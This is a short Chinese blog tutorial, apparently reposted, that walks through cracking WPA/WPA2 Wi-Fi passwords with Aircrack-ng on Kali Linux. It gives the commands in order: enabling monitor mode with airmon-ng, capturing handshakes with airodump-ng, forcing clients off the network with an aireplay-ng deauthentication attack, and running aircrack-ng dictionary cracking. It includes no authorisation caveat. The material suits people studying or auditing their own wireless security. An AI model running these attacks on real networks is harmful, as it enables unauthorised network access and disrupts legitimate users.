本文最后更新于1813天前，其中的信息可能已经有所发展或是发生改变。
Aircrack-ng
Aircrack-ng是一个与802.11标准的无线网络分析有关的安全软件，主要功能有：网络侦测，数据包嗅探，WEP和WPA/WPA2-PSK破解。Aircrack-ng可以工作在任何支持监听模式的无线网卡上（设备列表请参阅其官方网站）并嗅探802.11a，802.11b，802.11g的数据。
具体详情见百度https://baike.baidu.com/item/aircrack-ng/7661805
破解准备
首先你需要一块无线网卡，kali虚拟机（为了方便直接使用，里面的小工具很多，不用再去自己下载了）
1.查看你的网卡信息
在kali Linux下使用命令查看网卡信息。
1
|
ifconfig
|
效果图如下
2.激活无线网卡至monitor即监听模式
使用命令：
1
|
airmon-ng start wlan0
|
然后会出现以下提示信息
获取当前网络概况：
1
|
airodump-ng wlan0mon
|
其中wlan0mon是已经激活监听状态的网卡。
3.探测无线网络，抓取无线数据包
具体命令如下：
1
|
airodump-ng -c 11 -w longas wlan0mon
|
参数解释：
- -c设置目标AP的工作频道
- -w后面紧跟要保存的文件的文件名，注意：生成的文件名是longas-01.cap
- wlan0mon：为之前已经开启监听的网卡名
按Enter开始执行，不要关闭并打开另一个shell进行下一步
4.进行deauth攻击加速破解过程
输入命令：
1
|
aireplay-ng -0 9 -a AP的MAC -c 客户端的mac wlan0mon
|
参数解释：
- -0：采用Deauth攻击模式，后面紧跟攻击次数，这里设置为9，大家可以根据实际情况设置
- -a：后面跟AP的mac地址
- -c：后面跟客户端的mac地址
按Enter键后会出现以下信息
提前用字典生成器生成所需字典。
输入以下命令：
1
|
aircrack-ng -w dict.txt 捕获的.cap文件
|
按Enter执行后，经过一段时间便可破解，这取决于密码的强度。（为了方便演示，我故意将密码写在字典里）
Key Found！便是破解成功。
密码就是[]里面的值！
推荐阅读
Aircrack-ng破解WPA/WPA2加密WiFi教程（Kali）
https://www.cnblogs.com/lsdb/p/10075508.html
https://www.bilibili.com/read/cv1254444/
参考来源：
Encounter博客
CSND博客
本文来源于互联网:Kali Linux 破解无线网密码
点击数：298
